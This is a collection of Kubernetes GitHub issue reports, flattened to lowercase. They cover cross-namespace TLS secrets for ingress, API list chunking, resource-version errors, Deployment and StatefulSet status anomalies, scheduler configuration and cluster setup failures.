need to complete windows implementation of getmountrefs in mount.go\r <!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  

is this a bug report or feature request?  :\r  \r \r   what happened  :\r \r i tried to reference a tls certificate / key with the _secretname_ variable of an ingress resource.\r \r \r   what you expected to happen  :\r \r one can use, and this is quite common, a single ingress controller for ingress of multiple namespaces.\r \r unfortunately the ingress resource may only reference a tls certificate which resides in the own namespace in the secretname variable. especially when using wildcard certificates or just a common hostname for multiple services in different namespaces this means the certificate  secret  needs to be duplicated in all namespaces which use it.\r \r apart from untidy duplication of things this gives  depending on your rbac policies  the namespace admin access to the private key.\r \r enabling the ingress controller to reference a certificate which is located in another namespace  i.e. one only containing certificates  would allow for easier management of this shared piece of data and even protect it more.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   ... \r spec:\r   tls:\r     - hosts:\r       - myhost.example.com\r       secretname: anothernamespace/wildcard-for-example-com-tls\r   rules:\r     - host: myhost.example.com\r       http:\r         paths:\r         - path: /\r           backend:\r             servicename: myservice\r             serviceport: 8080\r  ...  \r    \r \r referencing a secret inside i.e. _  anothernamespace  _  simply does not work...\r \r \r   anything else we need to know?  :\r \r i opened this issue as https://github.com/kubernetes/ingress-nginx/issues/1829 towards the ingress-nginx project before.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : coreos container linux\r

  \r   what happened  :\r \r api chunking when listing pods does not seem to work with resourceversion=\ 0\ . it seems that when that is set, the api server ignores the limit argument.\r \r i found this out when attempting to use cache.informer, which sets resourceversion=0 on the initial list. i filed a separate bug about this here https://github.com/kubernetes/client-go/issues/366. please de-dupe as you see best. it's not clear whether this is a client or server issue, or both.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a cluster with more than one pods, run the following code accessing the cluster via  kubectl proxy -v=7  and notice how chunking is not happening:\r \r    go\r // client := ...\r lw := &cache.listwatch{\r   listfunc: func options metav1.listoptions   runtime.object, error  {\r     options.limit = 1\r     // uncommenting the following \ fixes\  the chunking:\r     // if options.resourceversion == \ 0\  {\r     //  options.resourceversion = \ \ \r     // }\r     return client.core  .pods metav1.namespaceall .list options \r   },\r   watchfunc: func options metav1.listoptions   watch.interface, error  {\r     return client.core  .pods metav1.namespaceall .watch options \r   },\r }\r _ informer := cache.newinformer lw, &apiv1.pod{}, 0, cache.resourceeventhandlerfuncs{} \r informer.run context.background   \r    \r \r   environment  :\r \r client-go version: 78700dec6369ba22221b72770783300f143df150\r \r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.2-gke.1\ , gitcommit:\ 4ce7af72d8d343ea2f7680348852db641ff573af\ , gittreestate:\ clean\ , builddate:\ 2018-01-31t22:30:55z\ , goversion:\ go1.9.2b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }

see  19986. my suspicion for why the  container-vm  change is holding stable on gce but not on gke is that on gke, heapster is flapping. i'd like to see a new test on gce that essentially flaps a container and then reboots. i think it'll show the same kernel shutdown issue.

we see sporadic \ too old resource version\  errors from the master pods.   we understand from http://stackoverflow.com/questions/34322969/cause-of-apiserver-received-an-error-that-is-not-an-unversioned-errors-from-ku/34330607 that this could be expected behavior during an upgrade -- can we get confirmation of that, and will those be changed from \ error\  level to \ warning\  level at any point?   our bigger concern is that these errors continue to occur -- not constantly, but routinely, anywhere from hours to minutes between them.  is there something we need to perform in order to alleviate this error spam?  specifically, when we restart our ha masters  eg for an upgrade , we delete the master nodes, regenerate pod yamls, restart hyperkube, then patch the master nodes to be unschedulable:      kubectl --server=https://10.1.4.41:6443 --kubeconfig=... delete node sea5m1kmaster1 node \ sea5m1kmaster1\  deleted  kubectl --server=https://10.1.4.41:6443 --kubeconfig=... delete node sea5m1kmaster2 node \ sea5m1kmaster2\  deleted    generate fresh yamls for apiserver / podmaster / scheduler / controller manager   restart hyperkube  kubectl --server=https://10.1.4.41:6443 --kubeconfig=... patch node sea5m1kmaster1 -p {\\\ spec\\\ :{\\\ unschedulable\\\ :true}} \ sea5m1kmaster1\  patched  kubectl --server=https://10.1.4.41:6443 --kubeconfig=... patch node sea5m1kmaster2 -p {\\\ spec\\\ :{\\\ unschedulable\\\ :true}} \ sea5m1kmaster2\  patched      every now and then, unrelated to any restarts or other visible errors, we get 1-2 of these errors on our masters:      2016-02-25t18:42:48.7850+00:00 tuk6r2kmaster2  err   docker  e0225 18:42:48.785758       1 errors.go:62  apiserver received an error that is not an unversioned.status: too old resource version: 1785219  1787027  2016-02-25t18:42:48.7870+00:00 tuk6r2kmaster2  err   docker  e0225 18:42:48.787036       1 reflector.go:227  /usr/src/go/src/runtime/asm_amd64.s:2232: failed to watch  api.pod: too old resource version: 1785219  1787027  2016-02-25t18:46:00.7180+00:00 tuk6r2kmaster2  err   docker  e0225 18:46:00.718118       1 errors.go:62  apiserver received an error that is not an unversioned.status: too old resource version: 1785219  1787027  2016-02-25t18:46:00.6850+00:00 tuk6r2kmaster1  err   docker  e0225 18:46:00.685606       1 errors.go:62  apiserver received an error that is not an unversioned.status: too old resource version: 1785219  1787027  2016-02-25t18:46:00.7880+00:00 tuk6r2kmaster1  err   kubelet  e0225 18:46:00.716662    3999 reflector.go:227  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: too old resource version: 1785219  1787027  2016-02-25t18:46:01.1700+00:00 tuk6r2kmaster2  err   kubelet  e0225 18:46:00.688601   62642 reflector.go:227  pkg/kubelet/config/apiserver.go:43: failed to watch  api.pod: too old resource version: 1785219  1787027       is this indicative of a problem, perhaps in our upgrade flow? or is this expected routine log behavior?    version info:        $ kubectl --server=https://10.1.4.41:6443 --... version client version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.3\ , gitcommit:\ 6a81b50c7e97bbe0ade075de55ab4fa34f049dc2\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 1\ , gitversion:\ v1.1.3\ , gitcommit:\ 6a81b50c7e97bbe0ade075de55ab4fa34f049dc2\ , gittreestate:\ clean\ }

configmaps is a resource which will be handled quite often in the cli. an abbreviation would help in less typing. also it would implicitly propose a standard for naming files: e.g.  myapp-cm.yml    i would like to propose to use  cm  as an abbreviation for  configmaps .

from https://github.com/kubernetes/kubernetes/pull/24016 issuecomment-218585269:  > we also want kubectl get clusters to come up in kubectl help, but it should only show up when kubectl is talking to a federation apiserver. > we can do that by configuring the output based on discovery api from apiserver rather than being a hardcoded list in kubectl.  will be great to have this. not critical for 1.3  ref https://github.com/kubernetes/kubernetes/issues/23653  cc @jianhuiz @kubernetes/sig-cluster-federation

gcloud alpha compute rolling-updates  is being deprecated and we need to find a replacement for gce upgrade.  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/upgrade.sh l257  cc @fabioy @roberthbailey

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r testmetricsdugetcapacity\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r master branch  tip \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r sles 12\r -   kernel    e.g.  uname -a  :\r linux pts00449-vm23 3.12.28-4-default  1 smp thu sep 25 17:02:34 utc 2014  9879bd4  ppc64le ppc64le ppc64le gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r make test what=\ ./pkg/volume\ \r running tests for apiversion: v1,apps/v1beta1,authentication.k8s.io/v1,authentication.k8s.io/v1beta1,authorization.k8s.io/v1,authorization.k8s.io/v1beta1,autoscaling/v1,autoscaling/v2alpha1,batch/v1,batch/v2alpha1,certificates.k8s.io/v1beta1,extensions/v1beta1,imagepolicy.k8s.io/v1alpha1,policy/v1beta1,rbac.authorization.k8s.io/v1beta1,rbac.authorization.k8s.io/v1alpha1,settings.k8s.io/v1alpha1,storage.k8s.io/v1beta1,storage.k8s.io/v1,federation/v1beta1\r +++  0404 11:22:46  running tests without code coverage\r --- fail: testmetricsdugetcapacity  0.01s \r         metrics_du_test.go:73: unexpected used for directory with file.  expected 4096, got 65536.\r fail\r fail    k8s.io/kubernetes/pkg/volume    0.137s\r makefile:164: recipe for target 'test' failed\r make:      test  error 1\r \r test case failed\r   what you expected to happen  :\r test case should pass\r \r   how to reproduce it    as minimally and precisely as possible :\r make test what=\ ./pkg/volume\ \r \r   anything else we need to know  :\r found this similar issue: https://github.com/kubernetes/kubernetes/issues/20028\r however the values returned are different, see this string \ expected 4096, got 65536\ \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when creating a initializer, we have to write a controller code to patch the resource object. e.g. https://github.com/kelseyhightower/kubernetes-initializer-tutorial/blob/master/envoy-initializer/main.go\r \r   what you expected to happen  :\r \r could we have a build-in \ patcher\   as a addon pod  so users can avoid this step?\r \r i can see there's fixed pattern in this controller, and we can provide a default one in this case.\r \r

environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.9\ , gitcommit:\ a3d1dfa6f433575ce50522888a0409397b294c7b\ , gittreestate:\ clean\ , builddate:\ 2017-08-23t16:58:45z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r    \r     google container engine.\r \r   what happened  :\r \r we are in testing phase of springboot based microservice deployment on gke. during testing qa filed a performance issue , stats that the throughput of the service in k8s  is low when compared to run the java app in \r \r - java -jar method\r - docker run\r \r for testing i skip those springboot stuff and take native tomcat home page as the test bed for the \ ab\  testing.\r \r   the test setup looks like  :\r \r - create an 8cpu/30gig ram ubuntu server in gcp and install native tomact-8.5.20 80  and test the home page.\r - stop the native tomcat. create the  docker tomcat instances on the same host and test the same home page.\r    the docker version is: version: 17.06.2-ce\r - create the 3 node k8s cluster 1.6.9. run the tomcat deployment the same 8.5.20 and expose the service through lb and test the same home page.\r \r - i install the ab tool in other gcp instances and hit the above 3 different endpoints.\r \r   what's the result  :\r \r the first 2 test with native tomcat and docker run the throughput i got is nearly 8k req/sec on avg on different request/concurrent  level.\r \r but the same on k8s lb the throughput i got on the average of 2k req/sec on avg on different request/concurrency  level.\r \r is this something am i missing on the test. or this is how the gke lb store and forward the request at this rate.\r \r i am attaching the ab result for the test.\r  k8s_service.txt  https://github.com/kubernetes/kubernetes/files/1310675/k8s_service.txt \r  nativeapp_docker.txt  https://github.com/kubernetes/kubernetes/files/1310676/nativeapp_docker.txt \r \r \r

is this a bug report or feature request?  :\r bug report\r \r  \r   what happened  :\r statefulset status is missing  updatedreplicas  field but has  updaterevision  set\r    \r status:\r   currentreplicas: 1\r   currentrevision: consul-example-703895715\r   observedgeneration: 1\r   readyreplicas: 1\r   replicas: 1\r   updaterevision: consul-example-703895715\r    \r \r   what you expected to happen  :\r according to the docs in https://kubernetes.io/docs/api-reference/v1.7/ statefulsetstatus-v1beta1-apps:\r > updatedreplicas is the number of pods created by the statefulset controller from the statefulset version indicated by updaterevision.\r \r  it seems that  updatedreplicas  is actually only useful when doing a rolling update, if that is the case we should unset  updaterevision  to avoid confusion here. otherwise, for a statefulset that is updated and not doing a rolling update,  updatedreplicas  should equal  currentreplicas . \r \r   how to reproduce it  as minimally and precisely as possible   :\r create a statefulset on v1.7.3\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.3\r \r 

   \r i am trying to redirect events to another etcd with --etcd-servers-overrides in apiserver.\r i tried below two ways: \r --etcd-servers-overrides=/registry/events http://xyz:2379\r --etcd-servers-overrides=/events http://xyz:2379\r   both of them do not work, the apiserver can be restarted up but write nothing to the new etcd.  \r \r another question is that if we support an   https   etcd here? i serached from the usage doc it only point out the   http   use.\r \r i am using the kubernetes 1.5.7 version

https://github.com/kubernetes/kubernetes/blob/release-1.9/cmd/kube-apiserver/app/options/options.go l187\r \r the  service-node-port-range  is currently not configurable by bootstrap parameters. would be useful to expose a knob for that. \r \r  

is this a bug report or feature request?  :\r  \r \r   what happened  :\r we've occasionally seen kubernetes keep the container from deployment from the previous revision along with an applied revision.\r \r for example, given the following revision history:\r \r    \r 26        jenkinsbuildnumber: 149\r 27        jenkinsbuildnumber: 145\r 28        jenkinsbuildnumber: 151\r    \r \r revision 28 was applied with the following manifest  some things have been obfuscated just for cya sake :\r \r    \r ---\r kind: deployment\r apiversion: extensions/v1beta1\r metadata:\r   name: my-service\r   annotations:\r     kubernetes.io/change-cause: \ jenkinsbuildnumber: 151\ \r spec:\r   strategy:\r     type: rollingupdate\r     rollingupdate:\r       maxsurge: \ 100%\ \r       maxunavailable: 0\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: my-service\r     spec:\r       containers:\r       - name: my-service-151\r         image: someimage:151\r         lifecycle:\r           prestop:\r             exec:\r               command:  \ sleep\ , \ 10\  \r         readinessprobe:\r           httpget:\r             path: /health\r             port: 8080\r           initialdelayseconds: 0\r           timeoutseconds: 1\r           periodseconds: 1\r         livenessprobe:\r           httpget:\r             path: /health\r             port: 8080\r           initialdelayseconds: 120\r           timeoutseconds: 1\r           periodseconds: 10\r         ports:\r           - containerport: 8080\r         envfrom:\r         - secretref:\r             name:some-secret1\r         - secretref:\r             name: some-secret2\r         - configmapref:\r             name: my-service\r       imagepullsecrets:\r       - name: nexus-docker\r    \r \r but the resulting deployment object in kubernetes was the following  from  kubectl get deployment -o yaml :\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   annotations:\r     deployment.kubernetes.io/revision: \ 28\ \r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ deployment\ ,\ metadata\ :{\ annotations\ :{\ kubernetes.io/change-cause\ :\ jenkinsbuildnumber: 151\ },\ name\ :\ my-service\ ,\ namespace\ :\ mes\ },\ spec\ :{\ replicas\ :1,\ strategy\ :{\ rollingupdate\ :{\ maxsurge\ :\ 100%\ ,\ maxunavailable\ :0},\ type\ :\ rollingupdate\ },\ template\ :{\ metadata\ :{\ labels\ :{\ app\ :\ my-service\ }},\ spec\ :{\ containers\ : {\ envfrom\ : {\ secretref\ :{\ name\ :\ somesecret1\ }},{\ secretref\ :{\ name\ :\ some-secret2\ }},{\ configmapref\ :{\ name\ :\ my-service\ }} ,\ image\ :\ someimage:151\ ,\ lifecycle\ :{\ prestop\ :{\ exec\ :{\ command\ : \ sleep\ ,\ 10\  }}},\ livenessprobe\ :{\ httpget\ :{\ path\ :\ /health\ ,\ port\ :8080},\ initialdelayseconds\ :120,\ periodseconds\ :10,\ timeoutseconds\ :1},\ name\ :\ my-service-151\ ,\ ports\ : {\ containerport\ :8080} ,\ readinessprobe\ :{\ httpget\ :{\ path\ :\ /health\ ,\ port\ :8080},\ initialdelayseconds\ :0,\ periodseconds\ :1,\ timeoutseconds\ :1}} ,\ imagepullsecrets\ : {\ name\ :\ nexus-docker\ } }}}}\r     kubernetes.io/change-cause: 'jenkinsbuildnumber: 151'\r   creationtimestamp: 2017-10-20t18:37:28z\r   generation: 36\r   labels:\r     app: my-service\r   name: my-service\r   namespace: mes\r   resourceversion: \ 89827250\ \r   selflink: /apis/extensions/v1beta1/namespaces/mes/deployments/my-service\r   uid: b98745a3-b5c5-11e7-b67a-02dc572fb994\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: my-service\r   strategy:\r     rollingupdate:\r       maxsurge: 100%\r       maxunavailable: 0\r     type: rollingupdate\r   template:\r     metadata:\r       creationtimestamp: null\r       labels:\r         app: my-service\r     spec:\r       containers:\r       - envfrom:\r         - secretref:\r             name:some-secret1\r         - secretref:\r             name: some-secret2\r         - configmapref:\r             name: my-service\r         image: someimage:151\r         imagepullpolicy: ifnotpresent\r         lifecycle:\r           prestop:\r             exec:\r               command:\r               - sleep\r               - \ 10\ \r         livenessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /health\r             port: 8080\r             scheme: http\r           initialdelayseconds: 120\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 1\r         name: my-service-151\r         ports:\r         - containerport: 8080\r           protocol: tcp\r         readinessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /health\r             port: 8080\r             scheme: http\r           periodseconds: 1\r           successthreshold: 1\r           timeoutseconds: 1\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       - envfrom:\r         - secretref:\r             name:some-secret1\r         - secretref:\r             name: some-secret2\r         - configmapref:\r             name: my-service\r         image: someimage:145\r         imagepullpolicy: ifnotpresent\r         lifecycle:\r           prestop:\r             exec:\r               command:\r               - sleep\r               - \ 10\ \r         livenessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /health\r             port: 8080\r             scheme: http\r           initialdelayseconds: 120\r           periodseconds: 10\r           successthreshold: 1\r           timeoutseconds: 1\r         name: my-service-145\r         ports:\r         - containerport: 8080\r           protocol: tcp\r         readinessprobe:\r           failurethreshold: 3\r           httpget:\r             path: /health\r             port: 8080\r             scheme: http\r           periodseconds: 1\r           successthreshold: 1\r           timeoutseconds: 1\r         resources: {}\r         terminationmessagepath: /dev/termination-log\r         terminationmessagepolicy: file\r       dnspolicy: clusterfirst\r       imagepullsecrets:\r       - name: nexus-docker\r       restartpolicy: always\r       schedulername: default-scheduler\r       securitycontext: {}\r       terminationgraceperiodseconds: 30\r status:\r   conditions:\r   - lasttransitiontime: 2018-05-17t15:56:27z\r     lastupdatetime: 2018-05-17t15:56:27z\r     message: deployment does not have minimum availability.\r     reason: minimumreplicasunavailable\r     status: \ false\ \r     type: available\r   observedgeneration: 36\r   replicas: 1\r   unavailablereplicas: 1\r   updatedreplicas: 1\r    \r \r which is spotted first by looking at the pod statuses:\r \r    \r my-service-d55758b6d-ltnzb                       1/2       crashloopbackoff   7          14m\r    \r \r it's curious that the last applied configuration doesn't match the actual configuration.\r \r   what you expected to happen  :\r  kubectl apply  should apply the specific config and do a proper rollout\r \r   how to reproduce it  as minimally and precisely as possible   :\r it's been interesting because this doesn't happen consistently. but our deployment is done the exact same way every time, thanks to jenkins. but here's our steps:\r \r 1. generate the docker image with maven\r 2. generate the new deployment manifest with maven  just does some variable substitution for us \r 3.  kubectl apply -f manifest.yml \r \r   anything else we need to know?  :\r one similar symptom i've been from this happening appears to be when we do a rollback of a deployment, and then promote a new version after. for example, in our revision history you can see:\r \r    \r 26        jenkinsbuildnumber: 149\r 27        jenkinsbuildnumber: 145\r 28        jenkinsbuildnumber: 151\r    \r \r we rolled back the result from build  149 to build  145. then, this morning, we deployed build  151\r \r i've yet to be able to confirm if that's actually the issue or not, since this doesn't happen consistently... to me, this seems like something weird happening with the apply logic itself.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.10-rancher1\ , gitcommit:\ 66aaf7681d4a74778ffae722d1f0f0f42c80a984\ , gittreestate:\ clean\ , builddate:\ 2018-03-20t16:02:56z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: running on vsphere vms\r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :  4.4.0-93-generic \r - install tools: rancher\r - others: n/a\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i have a demo run as a pod, print logs one line by one line.\r zhen,  i search the logs by —tail=200\r result:\r    \r  root@master ~   kubectl --namespace=matrix logs echo --tail=200|wc -l\r 200\r  root@master ~   kubectl --namespace=matrix logs echo --tail=200|wc -l\r 201\r  root@master ~   kubectl --namespace=matrix logs echo --tail=200|wc -l\r 201\r  root@master ~   kubectl --namespace=matrix logs echo --tail=200|wc -l\r 200\r  root@master ~   kubectl --namespace=matrix logs echo --tail=200|wc -l\r 201\r    \r   what you expected to happen  :\r i think it should by always 200 lines in result\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r \r    \r - kubernetes version  kubernetes v1.9.0+coreos.0 :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=“7”\r    \r \r - kernel  e.g.  uname -a  :\r \r    \r linux master 3.10.0-693.21.1.el7.x86_64  1 smp wed mar 7 19:03:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r \r    \r kubespray\r    \r \r - others:\r

-   10933 removes the description tag in types.go, the description of fields are merged with other comments as the new description. some of these comments don't read as a sentence after the merge. because our api-reference  docs  http://kubernetes.io/v1.0/docs/api-reference/definitions.html  use these descriptions, we need to fix them before  10933. -   10933 detects these  structs  https://github.com/googlecloudplatform/kubernetes/pull/10933 issuecomment-125270576  don't have any description. we need to add description for them.  @andronat @nikhiljindal @bgrant0607

see  pr  https://github.com/kubernetes/kubernetes/pull/19004  modify func   priorityfunction   's last param   nodelister nodelister   to   nodes chan  api.node  . then findnodesthatfit and prioritizenodes can be running parallel.  1. once findnodesthatfit finishs predicate, insert the node to channel; 2. priorityfunc in prioritizenodes just waiting to read this channel

the node e2e test coverage needs to include all items covered by e2e tests sufficient to validate a container runtime and node host environment.  lantao wrote a    doc of items     https://docs.google.com/document/d/1qdn5hss7rbb72fs8mj5kdgnccpms2i6uv6abjdwl3mg/edit?ts=56f47f0f  that need to be covered.  we also need to figure out what e2e tests should be moved to the node e2e tests.  list tests here: -     kubelet performance tests - https://github.com/kubernetes/kubernetes/blob/master/test/e2e/kubelet_perf.go -     probe tests from https://github.com/kubernetes/kubernetes/blob/master/test/e2e/pods.go -     docker tests from https://github.com/kubernetes/kubernetes/blob/master/test/e2e/docker_containers.go

steps to reproduce  as per  the guide  http://kubernetes.io/docs/getting-started-guides/ubuntu/  : 1. set up cluster:     env kubernetes_provider=ubuntu nodes=\ <nodes>\  role=\ <roles>\  num_nodes=<num> service_cluster_ip_range=<ip range> flannel_net=<flannel net> ./kube-up.sh      note: i used public ip addresses here since i'm deploying to a cloud and don't have a host within it, i think this is a reasonable use case  2. set up addons:      cd ubuntu && env kubernetes_provider=ubuntu nodes=\ <nodes>\  role=\ <roles>\  num_nodes=<num> service_cluster_ip_range=<ip range> flannel_net=<flannel net> ./deployaddons.sh  3. on _a completely different host, unrelated to the setup host_  i.e. doesn't have  ~/.kube/config  and the http basic auth credentials therein :     kubectl -s <url from setup> create -f examples/guestbook/all-in-one/guestbook-all-in-one.yaml  4. again, on a completely different host, access the ui at  http://<url>/ui/  and create a new service.  expected behaviour: access is denied as  kubectl  is being run on an unauthenticated host on the public internet, with no credentials. same goes for the ui.  actual behaviour: the guestbook service is created on the cluster.

config maps are good and works properly, but there are configuration that are not in key value format.   it would be nice to be able to create a configblob and load a json file as configuration.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r vagrant\r \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2234+5ec2fb0bcc2a98\ , gitcommit:\ 5ec2fb0bcc2a981c6fb8d12b5429711ef848a769\ , gittreestate:\ clean\ , builddate:\ 2016-12-16t02:53:23z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r kube-api do not exist, so, can not find the server version.\r i believe the deployed code is complied from source, the last commit is:\r commit 5ec2fb0bcc2a981c6fb8d12b5429711ef848a769\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r \r i'm working on a physical machine, download k8s source code, and followed  https://github.com/kubernetes/community/blob/master/contributors/devel/developer-guides/vagrant.md \r \r -   os    e.g. from /etc/os-release :\r \r for the physical mahine: ubuntu 16.04 lts\r for vagrant vm:  fedora 23  the default one \r \r -   kernel    e.g.  uname -a  :\r \r for the physical mahine: 4.4.0-45-generic  66-ubuntu\r for vagrant vm:   4.2.3-300.fc23.x86_64 \r \r -   install tools  :\r \r steps i have done:\r \r cd $gopath/src/k8s.io/kubernetes/\r make quick-release\r export kubernetes_provider=vagrant\r export num_nodes=3 \r ./cluster/kube-up.sh\r \r -   others  :\r \r it was ok several days ago, i have updated code today.\r \r \r   what happened  :\r \r for './cluster/kube-up.sh', all installation looks ok, but stalls at try to check running process on master node.\r i login into the master node, and found no kube-api at all.\r \r and, for other commands, such as kube-controller-manager, the process is running, but can not find its executive file:\r \r  root      6064  6026  0 03:05 ?        00:00:00 /usr/local/bin/kube-controller-manager --master=127.0.0.1:8080 --cluster-name=kubernetes --cluster-cidr=10.246.0.0/16 --service_cluster_ip_range=10.247.0.0/16 --service-account-private-key-file=/srv/kubernetes/server.key --v=2 --root-ca-file=/srv/kubernetes/ca.crt --enable-hostpath-provisioner\r \r ==> but no file: /usr/local/bin/kube-controller-manager at all:\r \r ll /usr/local/bin/kube-controller-manager\r ls: cannot access /usr/local/bin/kube-controller-manager: no such file or directory\r \r \r   what you expected to happen  :\r \r kube-api is running.\r executive should be exist where it should be.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r cd $gopath/src/k8s.io/kubernetes/\r make quick-release\r export kubernetes_provider=vagrant\r export num_nodes=3    change to any number you want, default is 1.\r ./cluster/kube-up.sh\r \r the last commit i'm using is : \r commit 5ec2fb0bcc2a981c6fb8d12b5429711ef848a769\r \r \r \r   anything else do we need to know  :\r \r

@bgrant0607 noticed this \r \r hardpodaffinitysymmetricweight should be in the  scheduler policy config  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/api/v1/types.go , not in kubeschedulerconfiguration\r \r if/when fixing this, we need to be careful to do it in a backward-compatilble way.\r \r @bsalamat @kubernetes/sig-scheduling-bugs \r

triage failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html 4df909ae403747031437\r \r failing 8 tests in 3 jobs.\r \r @kubernetes/sig-federation-test-failures \r /assign @quinton-hoole @csbell

